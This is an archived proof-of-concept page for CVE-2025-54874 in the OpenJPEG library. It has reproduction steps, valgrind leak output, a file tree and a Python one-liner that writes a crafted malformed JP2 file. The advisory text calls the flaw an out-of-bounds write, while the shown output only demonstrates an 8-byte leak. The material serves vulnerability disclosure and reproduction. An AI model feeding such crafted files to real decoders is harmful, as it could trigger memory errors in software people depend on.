Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2025-54874 PoC — OpenJPEG 安全漏洞

Source
Associated Vulnerability
Title:OpenJPEG 安全漏洞 (CVE-2025-54874)
Description:OpenJPEG是Université catholique de Louvain开源的一款基于C语言的开源JPEG2000编码解码器。 OpenJPEG 2.5.3及之前版本存在安全漏洞,该漏洞源于opj_jp2_read_header可能导致堆内存越界写入。
Readme
# Reference

https://github.com/uclouvain/openjpeg/pull/1573

https://www.cvedetails.com/cve/CVE-2025-54874/

https://securitylab.github.com/advisories/GHSL-2025-057_OpenCV/

# Test Env

`openjpeg-2.5.1`


`Linux 6.10.14-linuxkit x86_64 GNU/Linux`


# Description

the function call chain is: `opj_read_header` → `opj_jp2_read_header` → `opj_j2k_read_header` → `opj_j2k_setup_header_reading` → `opj_j2k_read_header_procedure` → `opj_stream_read_data`

When the data is too small, the `opj_stream_read_data` will return error, causing `opj_j2k_read_header` return error back to `opj_jp2_read_header`.

However, in `opj_jp2_read_header`, it didn’t check whether `opj_j2k_read_header` returns error or not before setting values on the heap memory causing a memory leak.

# POC Process

1. initialize `opj_image_t`, `opj_codec_t` and `opj_stream_t`  (these are required for opj_read_header)
    1. initialization reference: `openjpeg2.5.1/tests/test_decode_area.c:create_codec_and_stream`
2. call `opj_read_header()` 
3. cleanup

# How to run this POC

`git clone git@github.com:cyhe50/cve-2025-54874-poc.git`

`cd cve-2025-54874-poc` 

### run binary

`./poc in/test.jp2`: receive `Expect Error: opj_read_header failed`

### run valgrind

`valgrind --track-origins=yes   --leak-check=full     ./poc in/test.jp2`

output

```bash
==1280== Memcheck, a memory error detector
==1280== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==1280== Using Valgrind-3.18.1 and LibVEX; rerun with -h for copyright info
==1280== Command: ./poc in/test.jp2
==1280==
Expect Error: opj_read_header failed
==1280==
==1280== HEAP SUMMARY:
==1280==     in use at exit: 8 bytes in 1 blocks
==1280==   total heap usage: 28 allocs, 27 frees, 1,066,008 bytes allocated
==1280==
==1280== 8 bytes in 1 blocks are definitely lost in loss record 1 of 1
==1280==    at 0x484DA83: calloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==1280==    by 0x10EAD6: opj_calloc (opj_malloc.c:204)
==1280==    by 0x12D8EE: opj_jp2_read_colr (jp2.c:1573)
==1280==    by 0x13030F: opj_jp2_read_jp2h (jp2.c:2727)
==1280==    by 0x12F6AA: opj_jp2_read_header_procedure (jp2.c:2364)
==1280==    by 0x12F967: opj_jp2_exec (jp2.c:2440)
==1280==    by 0x1307CD: opj_jp2_read_header (jp2.c:2855)
==1280==    by 0x10D9DA: opj_read_header (openjpeg.c:475)
==1280==    by 0x10B90D: main (poc.c:62)
==1280==
==1280== LEAK SUMMARY:
==1280==    definitely lost: 8 bytes in 1 blocks
==1280==    indirectly lost: 0 bytes in 0 blocks
==1280==      possibly lost: 0 bytes in 0 blocks
==1280==    still reachable: 0 bytes in 0 blocks
==1280==         suppressed: 0 bytes in 0 blocks
==1280==
==1280== For lists of detected and suppressed errors, rerun with: -s
==1280== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)

```

# Initial Process

### openjpeg-2.5.1

1. download source code
2. compile
    
    ```bash
    cd openjpeg-2.5.1
    mkdir build && cd build
    cmake -DCMAKE_BUILD_TYPE=Debug ..
    make
    cd ../..
    ```
    
3. build POC
4. compile POC
    
    ```bash
    gcc -g -I./openjpeg-2.5.1/src/lib/openjp2 -o poc poc.c ./openjpeg-2.5.1/build/bin/libopenjp2.a -lm
    
    ```
    
5. generate vuln jp2
    
    ```bash
    python3 -c "import sys; sys.stdout.buffer.write(bytes([
        0x00,0x00,0x00,0x0c,0x6a,0x50,0x20,0x20,0x0d,0x0a,0x87,0x0a,
        0x00,0x00,0x00,0x14,0x66,0x74,0x79,0x70,0x6a,0x70,0x30,0x20,
        0xf9,0xff,0xff,0xff,0x6a,0x70,0x33,0x20,0x00,0x00,0x00,0x31,
        0x6a,0x70,0x32,0x68,0x00,0x00,0x00,0x16,0x69,0x68,0x64,0x72,
        0x00,0x80,0x00,0x00,0x00,0x00,0x05,0x00,0x00,0x03,0x07,0x07,
        0x00,0x00,0x00,0x00,0x00,0x13,0x63,0x6f,0x6c,0x72,0x02,0xff,
        0xff,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,
        0x00,0x00,0x00,0x20,0x6a,0x70,0x32,0x63,0xff,0x4f
    ]))" > in/test.jp2
    
    ```
    
6. run valgrind
    
    ```bash
     valgrind --track-origins=yes   --leak-check=full     ./poc in/test.jp2
    ```
File Snapshot

[4.0K] /data/pocs/607b69242132f83389755dae7b22bbdc37a118e5 ├── [4.0K] in │   └── [ 91] test.jp2 ├── [4.0K] openjpeg-2.5.1 │   ├── [1.3K] appveyor.yml │   ├── [ 712] AUTHORS.md │   ├── [4.0K] build │   │   ├── [4.0K] bin │   │   │   ├── [1.6M] libopenjp2.a │   │   │   ├── [ 15] libopenjp2.so -> libopenjp2.so.7 │   │   │   ├── [1.0M] libopenjp2.so.2.5.1 │   │   │   ├── [ 19] libopenjp2.so.7 -> libopenjp2.so.2.5.1 │   │   │   ├── [218K] opj_compress │   │   │   ├── [205K] opj_decompress │   │   │   └── [185K] opj_dump │   │   ├── [ 26K] CMakeCache.txt │   │   ├── [3.4K] CPackConfig.cmake │   │   ├── [3.7K] CPackSourceConfig.cmake │   │   ├── [1.2K] CTestCustom.cmake │   │   ├── [ 369] libopenjp2.pc │   │   ├── [2.1K] LICENSE.txt │   │   ├── [2.1K] OpenJPEGConfig.cmake │   │   ├── [2.8K] OpenJPEGConfigVersion.cmake │   │   └── [4.0K] src │   │   ├── [4.0K] bin │   │   │   └── [4.0K] common │   │   │   └── [ 316] opj_apps_config.h │   │   └── [4.0K] lib │   │   └── [4.0K] openjp2 │   │   ├── [ 302] opj_config.h │   │   └── [1.6K] opj_config_private.h │   ├── [106K] CHANGELOG.md │   ├── [4.0K] cmake │   │   ├── [1.2K] CTestCustom.cmake.in │   │   ├── [ 928] EnsureFileInclude.cmake │   │   ├── [ 332] FindCPPCHECK.cmake │   │   ├── [ 612] FindFCGI.cmake │   │   ├── [ 170] FindJPYLYZER.cmake │   │   ├── [ 483] FindKAKADU.cmake │   │   ├── [1.1K] FindLCMS2.cmake │   │   ├── [1.1K] FindLCMS.cmake │   │   ├── [ 165] JPIPTestDriver.cmake │   │   ├── [1.5K] OpenJPEGConfig.cmake.in │   │   ├── [2.9K] OpenJPEGCPack.cmake │   │   ├── [ 832] openjpeg_valgrind.supp │   │   ├── [ 305] TestFileOffsetBits.c │   │   ├── [ 615] TestLargeFiles.c.cmake.in │   │   ├── [5.4K] TestLargeFiles.cmake │   │   └── [ 113] TestWindowsFSeek.c │   ├── [ 13K] CMakeLists.txt │   ├── [ 234] CTestConfig.cmake │   ├── [4.0K] doc │   │   ├── [2.1K] CMakeLists.txt │   │   ├── [9.9K] Doxyfile.dox.cmake.in │   │   ├── [ 61K] jpip_architect.png │   │   ├── [6.2K] jpip_protocol.png │   │   ├── [2.6K] mainpage.dox.in │   │   ├── [4.0K] man │   │   │   ├── [4.0K] man1 │   │   │   │   ├── [6.1K] opj_compress.1 │   │   │   │   ├── [3.1K] opj_decompress.1 │   │   │   │   └── [1.2K] opj_dump.1 │   │   │   └── [4.0K] man3 │   │   │   └── [ 11K] libopenjp2.3 │   │   └── [5.7K] openjpip.dox.in │   ├── [2.1K] HOWTO-RELEASE │   ├── [5.6K] INSTALL.md │   ├── [2.1K] LICENSE │   ├── [6.5K] NEWS.md │   ├── [5.3K] README.md │   ├── [4.0K] scripts │   │   ├── [ 168] astyle.options │   │   ├── [2.8K] astyle.sh │   │   ├── [2.4K] prepare-commit.sh │   │   ├── [1.4K] remove_temporary_files.sh │   │   └── [2.2K] verify-indentation.sh │   ├── [4.0K] src │   │   ├── [4.0K] bin │   │   │   ├── [ 200] CMakeLists.txt │   │   │   ├── [4.0K] common │   │   │   │   ├── [ 239] CMakeLists.txt │   │   │   │   ├── [ 33K] color.c │   │   │   │   ├── [2.3K] color.h │   │   │   │   ├── [2.3K] format_defs.h │   │   │   │   ├── [ 387] opj_apps_config.h.cmake.in │   │   │   │   ├── [ 10K] opj_getopt.c │   │   │   │   ├── [ 672] opj_getopt.h │   │   │   │   └── [2.6K] opj_string.h │   │   │   ├── [4.0K] jp2 │   │   │   │   ├── [2.3K] CMakeLists.txt │   │   │   │   ├── [ 41K] convertbmp.c │   │   │   │   ├── [ 78K] convert.c │   │   │   │   ├── [5.4K] convert.h │   │   │   │   ├── [ 17K] convertpng.c │   │   │   │   ├── [ 50K] converttif.c │   │   │   │   ├── [ 22K] index.c │   │   │   │   ├── [2.1K] index.h │   │   │   │   ├── [ 89K] opj_compress.c │   │   │   │   ├── [ 65K] opj_decompress.c │   │   │   │   ├── [ 21K] opj_dump.c │   │   │   │   └── [ 22K] windirent.h │   │   │   ├── [4.0K] jpip │   │   │   │   ├── [5.2K] CMakeLists.txt │   │   │   │   ├── [3.2K] opj_dec_server.c │   │   │   │   ├── [5.5K] opj_jpip_addxml.c │   │   │   │   ├── [2.4K] opj_jpip_test.c │   │   │   │   ├── [3.6K] opj_jpip_transcode.c │   │   │   │   ├── [4.0K] opj_server.c │   │   │   │   ├── [4.0K] opj_viewer │   │   │   │   │   ├── [4.0K] dist │   │   │   │   │   │   └── [ 103] manifest.txt │   │   │   │   │   └── [4.0K] src │   │   │   │   │   ├── [4.3K] ImageManager.java │   │   │   │   │   ├── [7.2K] ImageViewer.java │   │   │   │   │   ├── [3.5K] ImageWindow.java │   │   │   │   │   ├── [ 10K] ImgdecClient.java │   │   │   │   │   ├── [ 15K] JPIPHttpClient.java │   │   │   │   │   ├── [3.0K] MML.java │   │   │   │   │   ├── [4.3K] PnmImage.java │   │   │   │   │   ├── [3.6K] RegimViewer.java │   │   │   │   │   └── [2.4K] ResizeListener.java │   │   │   │   ├── [4.0K] opj_viewer_xerces │   │   │   │   │   ├── [4.0K] dist │   │   │   │   │   │   └── [ 135] manifest.txt.in │   │   │   │   │   └── [4.0K] src │   │   │   │   │   ├── [7.1K] ImageViewer.java │   │   │   │   │   ├── [3.7K] ImageWindow.java │   │   │   │   │   ├── [4.0K] JP2XMLparser.java │   │   │   │   │   └── [3.4K] OptionPanel.java │   │   │   │   └── [6.0K] README │   │   │   └── [4.0K] wx │   │   │   ├── [ 57] CMakeLists.txt │   │   │   └── [4.0K] OPJViewer │   │   │   ├── [4.0K] about │   │   │   │   ├── [1.4K] about.htm │   │   │   │   └── [6.3K] opj_logo.png │   │   │   ├── [1.1K] CMakeLists.txt │   │   │   ├── [1.8K] OPJViewer.iss │   │   │   ├── [4.3K] Readme.txt │   │   │   └── [4.0K] source │   │   │   ├── [3.4K] about_htm.h │   │   │   ├── [ 11] build.h │   │   │   ├── [1.8K] icon1.xpm │   │   │   ├── [1.5K] icon2.xpm │   │   │   ├── [1.8K] icon3.xpm │   │   │   ├── [1.3K] icon4.xpm │   │   │   ├── [1.8K] icon5.xpm │   │   │   ├── [ 49K] imagjpeg2000.cpp │   │   │   ├── [5.9K] imagjpeg2000.h │   │   │   ├── [ 14K] imagmxf.cpp │   │   │   ├── [3.7K] imagmxf.h │   │   │   ├── [1.6K] license.txt │   │   │   ├── [3.3K] OPJAbout.cpp │   │   │   ├── [ 511] OPJChild16.xpm │   │   │   ├── [1.1K] OPJChild.ico │   │   │   ├── [ 45K] OPJDialogs.cpp │   │   │   ├── [ 14K] opj_logo.xpm │   │   │   ├── [ 42K] OPJThreads.cpp │   │   │   ├── [ 482] OPJViewer16.xpm │   │   │   ├── [ 60K] OPJViewer.cpp │   │   │   ├── [ 26K] OPJViewer.h │   │   │   ├── [1.1K] OPJViewer.ico │   │   │   ├── [ 83] OPJViewer.rc │   │   │   ├── [1.4K] readmeafter.txt │   │   │   ├── [1.3K] readmebefore.txt │   │   │   ├── [ 34K] wxj2kparser.cpp │   │   │   └── [ 36K] wxjp2parser.cpp │   │   ├── [ 303] CMakeLists.txt │   │   └── [4.0K] lib │   │   ├── [ 129] CMakeLists.txt │   │   ├── [4.0K] openjp2 │   │   │   ├── [ 11K] bench_dwt.c │   │   │   ├── [5.7K] bio.c │   │   │   ├── [4.4K] bio.h │   │   │   ├── [9.2K] cidx_manager.c │   │   │   ├── [2.7K] cidx_manager.h │   │   │   ├── [ 24K] cio.c │   │   │   ├── [ 15K] cio.h │   │   │   ├── [8.0K] CMakeLists.txt │   │   │   ├── [135K] dwt.c │   │   │   ├── [4.7K] dwt.h │   │   │   ├── [4.9K] event.c │   │   │   ├── [3.9K] event.h │   │   │   ├── [4.3K] function_list.c │   │   │   ├── [4.4K] function_list.h │   │   │   ├── [107K] ht_dec.c │   │   │   ├── [9.6K] image.c │   │   │   ├── [2.6K] image.h │   │   │   ├── [6.2K] indexbox_manager.h │   │   │   ├── [ 10K] invert.c │   │   │   ├── [2.8K] invert.h │   │   │   ├── [486K] j2k.c │   │   │   ├── [ 31K] j2k.h │   │   │   ├── [114K] jp2.c │   │   │   ├── [ 17K] jp2.h │   │   │   ├── [ 335] libopenjp2.pc.cmake.in │   │   │   ├── [ 13K] mct.c │   │   │   ├── [5.9K] mct.h │   │   │   ├── [ 18K] mqc.c │   │   │   ├── [8.8K] mqc.h │   │   │   ├── [8.1K] mqc_inl.h │   │   │   ├── [ 38K] openjpeg.c │   │   │   ├── [ 63K] openjpeg.h │   │   │   ├── [2.7K] opj_clock.c │   │   │   ├── [2.2K] opj_clock.h │   │   │   ├── [8.1K] opj_codec.h │   │   │   ├── [2.1K] opj_common.h │   │   │   ├── [ 371] opj_config.h.cmake.in │   │   │   ├── [1.8K] opj_config_private.h.cmake.in │   │   │   ├── [7.1K] opj_includes.h │   │   │   ├── [8.6K] opj_intmath.h │   │   │   ├── [8.1K] opj_malloc.c │   │   │   ├── [3.7K] opj_malloc.h │   │   │   ├── [8.6K] phix_manager.c │   │   │   ├── [ 81K] pi.c │   │   │   ├── [7.2K] pi.h │   │   │   ├── [8.7K] ppix_manager.c │   │   │   ├── [ 15K] sparse_array.c │   │   │   ├── [6.9K] sparse_array.h │   │   │   ├── [ 87K] t1.c │   │   │   ├── [ 10K] t1_generate_luts.c │   │   │   ├── [9.2K] t1.h │   │   │   ├── [ 36K] t1_ht_generate_luts.c │   │   │   ├── [ 17K] t1_ht_luts.h │   │   │   ├── [ 13K] t1_luts.h │   │   │   ├── [ 63K] t2.c │   │   │   ├── [5.5K] t2.h │   │   │   ├── [115K] tcd.c │   │   │   ├── [ 19K] tcd.h │   │   │   ├── [5.9K] test_sparse_array.c │   │   │   ├── [ 10K] tgt.c │   │   │   ├── [5.4K] tgt.h │   │   │   ├── [5.3K] thix_manager.c │   │   │   ├── [ 24K] thread.c │   │   │   ├── [8.4K] thread.h │   │   │   ├── [1.7K] tls_keys.h │   │   │   └── [7.1K] tpix_manager.c │   │   └── [4.0K] openjpip │   │   ├── [8.4K] auxtrans_manager.c │   │   ├── [3.0K] auxtrans_manager.h │   │   ├── [2.8K] boxheader_manager.c │   │   ├── [2.8K] boxheader_manager.h │   │   ├── [ 12K] box_manager.c │   │   ├── [7.9K] box_manager.h │   │   ├── [4.9K] byte_manager.c │   │   ├── [3.6K] byte_manager.h │   │   ├── [7.1K] cache_manager.c │   │   ├── [5.2K] cache_manager.h │   │   ├── [8.0K] cachemodel_manager.c │   │   ├── [4.2K] cachemodel_manager.h │   │   ├── [5.5K] channel_manager.c │   │   ├── [4.2K] channel_manager.h │   │   ├── [3.0K] CMakeLists.txt │   │   ├── [2.7K] codestream_manager.c │   │   ├── [3.5K] codestream_manager.h │   │   ├── [7.9K] dec_clientmsg_handler.c │   │   ├── [4.5K] dec_clientmsg_handler.h │   │   ├── [7.1K] faixbox_manager.c │   │   ├── [4.9K] faixbox_manager.h │   │   ├── [2.8K] ihdrbox_manager.c │   │   ├── [2.2K] ihdrbox_manager.h │   │   ├── [5.0K] imgreg_manager.c │   │   ├── [4.0K] imgreg_manager.h │   │   ├── [6.6K] imgsock_manager.c │   │   ├── [6.7K] imgsock_manager.h │   │   ├── [ 25K] index_manager.c │   │   ├── [7.5K] index_manager.h │   │   ├── [ 11K] j2kheader_manager.c │   │   ├── [3.3K] j2kheader_manager.h │   │   ├── [8.5K] jp2k_decoder.c │   │   ├── [1.7K] jp2k_decoder.h │   │   ├── [ 29K] jp2k_encoder.c │   │   ├── [3.1K] jp2k_encoder.h │   │   ├── [ 20K] jpip_parser.c │   │   ├── [4.8K] jpip_parser.h │   │   ├── [4.2K] jpipstream_manager.c │   │   ├── [2.1K] jpipstream_manager.h │   │   ├── [ 408] libopenjpip.pc.cmake.in │   │   ├── [3.4K] manfbox_manager.c │   │   ├── [2.5K] manfbox_manager.h │   │   ├── [2.4K] marker_manager.c │   │   ├── [3.2K] marker_manager.h │   │   ├── [7.3K] metadata_manager.c │   │   ├── [4.8K] metadata_manager.h │   │   ├── [4.2K] mhixbox_manager.c │   │   ├── [3.3K] mhixbox_manager.h │   │   ├── [ 23K] msgqueue_manager.c │   │   ├── [6.6K] msgqueue_manager.h │   │   ├── [ 13K] openjpip.c │   │   ├── [9.3K] openjpip.h │   │   ├── [4.2K] placeholder_manager.c │   │   ├── [3.6K] placeholder_manager.h │   │   ├── [ 14K] query_parser.c │   │   ├── [4.1K] query_parser.h │   │   ├── [5.8K] session_manager.c │   │   ├── [4.0K] session_manager.h │   │   ├── [4.9K] sock_manager.c │   │   ├── [3.4K] sock_manager.h │   │   ├── [9.4K] target_manager.c │   │   └── [5.1K] target_manager.h │   ├── [4.0K] tests │   │   ├── [6.5K] CMakeLists.txt │   │   ├── [5.9K] compare_dump_files.c │   │   ├── [ 37K] compare_images.c │   │   ├── [6.1K] compare_raw_files.c │   │   ├── [4.0K] conformance │   │   │   └── [ 21K] CMakeLists.txt │   │   ├── [4.0K] fuzzers │   │   │   ├── [ 743] build_google_oss_fuzzers.sh │   │   │   ├── [ 400] build_seed_corpus.sh │   │   │   ├── [2.6K] fuzzingengine.c │   │   │   ├── [ 352] GNUmakefile │   │   │   ├── [6.5K] opj_decompress_fuzzer_J2K.cpp │   │   │   ├── [6.5K] opj_decompress_fuzzer_JP2.cpp │   │   │   └── [1.8K] README.TXT │   │   ├── [ 98] include_openjpeg.c │   │   ├── [8.5K] j2k_random_tile_access.c │   │   ├── [4.0K] nonregression │   │   │   ├── [2.6K] checkmd5refs.cmake │   │   │   ├── [ 18K] CMakeLists.txt │   │   │   ├── [ 22K] md5refs.txt │   │   │   └── [ 50K] test_suite.ctest.in │   │   ├── [4.3K] pdf2jp2.c │   │   ├── [4.0K] performance │   │   │   ├── [4.5K] compare_perfs.py │   │   │   ├── [ 522] perf_test_filelist.csv │   │   │   └── [5.0K] perf_test.py │   │   ├── [3.9K] ppm2rgb3.c │   │   ├── [4.0K] profiling │   │   │   └── [1.7K] filter_massif_output.py │   │   ├── [ 19K] test_decode_area.c │   │   ├── [ 12K] test_tile_decoder.c │   │   ├── [ 12K] test_tile_encoder.c │   │   └── [4.0K] unit │   │   ├── [ 466] CMakeLists.txt │   │   ├── [ 100] testempty0.c │   │   ├── [4.1K] testempty1.c │   │   ├── [5.5K] testempty2.c │   │   └── [5.2K] testjp2.c │   ├── [ 818] THANKS.md │   ├── [4.0K] thirdparty │   │   ├── [4.0K] astyle │   │   │   ├── [105K] ASBeautifier.cpp │   │   │   ├── [ 19K] ASEnhancer.cpp │   │   │   ├── [216K] ASFormatter.cpp │   │   │   ├── [ 59K] ASLocalizer.cpp │   │   │   ├── [4.2K] ASLocalizer.h │   │   │   ├── [ 28K] ASResource.cpp │   │   │   ├── [ 36K] astyle.h │   │   │   ├── [115K] astyle_main.cpp │   │   │   ├── [ 17K] astyle_main.h │   │   │   ├── [ 866] CMakeLists.txt │   │   │   └── [1.1K] LICENSE.md │   │   ├── [6.2K] CMakeLists.txt │   │   ├── [4.0K] include │   │   │   ├── [ 15K] zconf.h │   │   │   └── [ 86K] zlib.h │   │   ├── [4.0K] liblcms2 │   │   │   ├── [ 440] CMakeLists.txt │   │   │   ├── [1.1K] COPYING │   │   │   ├── [4.0K] include │   │   │   │   ├── [ 99K] lcms2.h │   │   │   │   └── [ 29K] lcms2_plugin.h │   │   │   └── [4.0K] src │   │   │   ├── [ 15K] cmsalpha.c │   │   │   ├── [ 14K] cmscam02.c │   │   │   ├── [ 71K] cmscgats.c │   │   │   ├── [ 42K] cmscnvrt.c │   │   │   ├── [ 20K] cmserr.c │   │   │   ├── [ 36K] cmsgamma.c │   │   │   ├── [ 20K] cmsgmt.c │   │   │   ├── [ 34K] cmshalf.c │   │   │   ├── [ 43K] cmsintrp.c │   │   │   ├── [ 57K] cmsio0.c │   │   │   ├── [ 34K] cmsio1.c │   │   │   ├── [ 50K] cmslut.c │   │   │   ├── [9.3K] cmsmd5.c │   │   │   ├── [5.5K] cmsmtrx.c │   │   │   ├── [ 28K] cmsnamed.c │   │   │   ├── [ 63K] cmsopt.c │   │   │   ├── [107K] cmspack.c │   │   │   ├── [ 25K] cmspcs.c │   │   │   ├── [ 27K] cmsplugin.c │   │   │   ├── [ 46K] cmsps2.c │   │   │   ├── [ 17K] cmssamp.c │   │   │   ├── [ 19K] cmssm.c │   │   │   ├── [177K] cmstypes.c │   │   │   ├── [ 36K] cmsvirt.c │   │   │   ├── [ 11K] cmswtpnt.c │   │   │   ├── [ 47K] cmsxform.c │   │   │   └── [ 36K] lcms2_internal.h │   │   ├── [4.0K] libpng │   │   │   ├── [ 654] CMakeLists.txt │   │   │   ├── [4.8K] LICENSE │   │   │   ├── [151K] png.c │   │   │   ├── [ 22K] pngconf.h │   │   │   ├── [5.2K] pngdebug.h │   │   │   ├── [ 29K] pngerror.c │   │   │   ├── [ 33K] pngget.c │   │   │   ├── [140K] png.h │   │   │   ├── [ 12K] pnginfo.h │   │   │   ├── [7.3K] pnglibconf.h │   │   │   ├── [8.2K] pngmem.c │   │   │   ├── [ 31K] pngpread.c │   │   │   ├── [ 81K] pngpriv.h │   │   │   ├── [138K] pngread.c │   │   │   ├── [3.9K] pngrio.c │   │   │   ├── [165K] pngrtran.c │   │   │   ├── [140K] pngrutil.c │   │   │   ├── [ 49K] pngset.c │   │   │   ├── [ 20K] pngstruct.h │   │   │   ├── [ 25K] pngtrans.c │   │   │   ├── [5.5K] pngwio.c │   │   │   ├── [ 74K] pngwrite.c │   │   │   ├── [ 15K] pngwtran.c │   │   │   └── [ 78K] pngwutil.c │   │   ├── [4.0K] libtiff │   │   │   ├── [7.7K] CMakeLists.txt │   │   │   ├── [1.9K] libport.h │   │   │   ├── [2.9K] libtiff.def │   │   │   ├── [ 801] snprintf.c │   │   │   ├── [ 11K] t4.h │   │   │   ├── [ 194] test_inline.c │   │   │   ├── [9.1K] tif_aux.c │   │   │   ├── [4.0K] tif_close.c │   │   │   ├── [4.9K] tif_codec.c │   │   │   ├── [8.6K] tif_color.c │   │   │   ├── [7.7K] tif_compress.c │   │   │   ├── [7.8K] tif_config.h.cmake.in │   │   │   ├── [ 10K] tif_config.h.in │   │   │   ├── [ 47K] tif_dir.c │   │   │   ├── [ 11K] tif_dir.h │   │   │   ├── [ 47K] tif_dirinfo.c │   │   │   ├── [138K] tif_dirread.c │   │   │   ├── [ 86K] tif_dirwrite.c │   │   │   ├── [3.8K] tif_dumpmode.c │   │   │   ├── [2.3K] tif_error.c │   │   │   ├── [3.2K] tif_extension.c │   │   │   ├── [ 44K] tif_fax3.c │   │   │   ├── [ 16K] tif_fax3.h │   │   │   ├── [102K] tif_fax3sm.c │   │   │   ├── [2.9K] tiffconf.h.cmake.in │   │   │   ├── [3.0K] tiffconf.h.in │   │   │   ├── [ 35K] tiff.h │   │   │   ├── [ 22K] tiffio.h │   │   │   ├── [1.7K] tiffio.hxx │   │   │   ├── [ 18K] tiffiop.h │   │   │   ├── [4.0K] tif_flush.c │   │   │   ├── [ 410] tiffvers.h │   │   │   ├── [ 74K] tif_getimage.c │   │   │   ├── [5.4K] tif_jbig.c │   │   │   ├── [1.6K] tif_jpeg_12.c │   │   │   ├── [ 72K] tif_jpeg.c │   │   │   ├── [ 42K] tif_luv.c │   │   │   ├── [ 13K] tif_lzma.c │   │   │   ├── [ 31K] tif_lzw.c │   │   │   ├── [4.6K] tif_next.c │   │   │   ├── [ 75K] tif_ojpeg.c │   │   │   ├── [ 18K] tif_open.c │   │   │   ├── [7.2K] tif_packbits.c │   │   │   ├── [ 40K] tif_pixarlog.c │   │   │   ├── [ 21K] tif_predict.c │   │   │   ├── [2.8K] tif_predict.h │   │   │   ├── [ 21K] tif_print.c │   │   │   ├── [ 33K] tif_read.c │   │   │   ├── [ 11K] tif_stream.cxx │   │   │   ├── [ 11K] tif_strip.c │   │   │   ├── [9.1K] tif_swab.c │   │   │   ├── [6.3K] tif_thunder.c │   │   │   ├── [8.8K] tif_tile.c │   │   │   ├── [8.0K] tif_unix.c │   │   │   ├── [1.5K] tif_version.c │   │   │   ├── [2.3K] tif_warning.c │   │   │   ├── [ 11K] tif_win32.c │   │   │   ├── [ 25K] tif_write.c │   │   │   ├── [ 13K] tif_zip.c │   │   │   └── [5.5K] uvcode.h │   │   ├── [4.0K] libz │   │   │   ├── [4.9K] adler32.c │   │   │   ├── [2.1K] CMakeLists.txt │   │   │   ├── [2.5K] compress.c │   │   │   ├── [ 13K] crc32.c │   │   │   ├── [ 30K] crc32.h │   │   │   ├── [ 70K] deflate.c │   │   │   ├── [ 12K] deflate.h │   │   │   ├── [ 678] gzclose.c │   │   │   ├── [6.4K] gzguts.h │   │   │   ├── [ 16K] gzlib.c │   │   │   ├── [ 18K] gzread.c │   │   │   ├── [ 16K] gzwrite.c │   │   │   ├── [ 22K] infback.c │   │   │   ├── [ 13K] inffast.c │   │   │   ├── [ 427] inffast.h │   │   │   ├── [6.2K] inffixed.h │   │   │   ├── [ 52K] inflate.c │   │   │   ├── [6.2K] inflate.h │   │   │   ├── [ 13K] inftrees.c │   │   │   ├── [2.9K] inftrees.h │   │   │   ├── [ 43K] trees.c │   │   │   ├── [8.3K] trees.h │   │   │   ├── [2.0K] uncompr.c │   │   │   ├── [ 86K] zlib.h │   │   │   ├── [7.2K] zutil.c │   │   │   └── [6.6K] zutil.h │   │   └── [ 445] README.txt │   ├── [4.0K] tools │   │   ├── [4.0K] abi-tracker │   │   │   └── [5.7K] openjpeg.json │   │   ├── [4.0K] ctest_scripts │   │   │   ├── [ 905] toolchain-mingw32.cmake │   │   │   ├── [ 913] toolchain-mingw64.cmake │   │   │   └── [5.8K] travis-ci.cmake │   │   └── [4.0K] travis-ci │   │   ├── [6.0K] abi-check.sh │   │   ├── [4.3K] detect-avx2.c │   │   ├── [5.2K] install.sh │   │   ├── [ 64] knownfailures-all.txt │   │   ├── [1.7K] knownfailures-Ubuntu14.04-gcc4.8.4-i386-Release-3rdP.txt │   │   ├── [1.7K] knownfailures-Ubuntu20.04-clang10.0.0-i386-Release-3rdP.txt │   │   ├── [ 221] knownfailures-Ubuntu20.04-gcc9.4.0-x86_64-Release-3rdP.txt │   │   ├── [ 221] knownfailures-Ubuntu22.04-gcc11.4.0-x86_64-Release-3rdP.txt │   │   ├── [1.6K] knownfailures-windows-vs2010-x86-Release-3rdP.txt │   │   ├── [1.6K] knownfailures-windows-vs2015-x64-avx2-Release-3rdP.txt │   │   ├── [ 14K] run.sh │   │   └── [3.2K] travis_rsa.enc │   └── [4.0K] wrapping │   ├── [ 59] CMakeLists.txt │   └── [4.0K] java │   ├── [ 28] CMakeLists.txt │   └── [4.0K] openjp2 │   ├── [1.9K] CMakeLists.txt │   ├── [ 15K] index.c │   ├── [1.8K] index.h │   ├── [ 87K] JavaOpenJPEG.c │   ├── [ 28K] JavaOpenJPEGDecoder.c │   ├── [4.0K] java-sources │   │   └── [4.0K] org │   │   └── [4.0K] openJpeg │   │   ├── [8.9K] OpenJPEGJavaDecoder.java │   │   └── [ 12K] OpenJPEGJavaEncoder.java │   ├── [ 579] org_openJpeg_OpenJPEGJavaDecoder.h │   └── [ 580] org_openJpeg_OpenJPEGJavaEncoder.h ├── [1.0M] poc ├── [1.8K] poc.c └── [3.9K] README.md 60 directories, 485 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.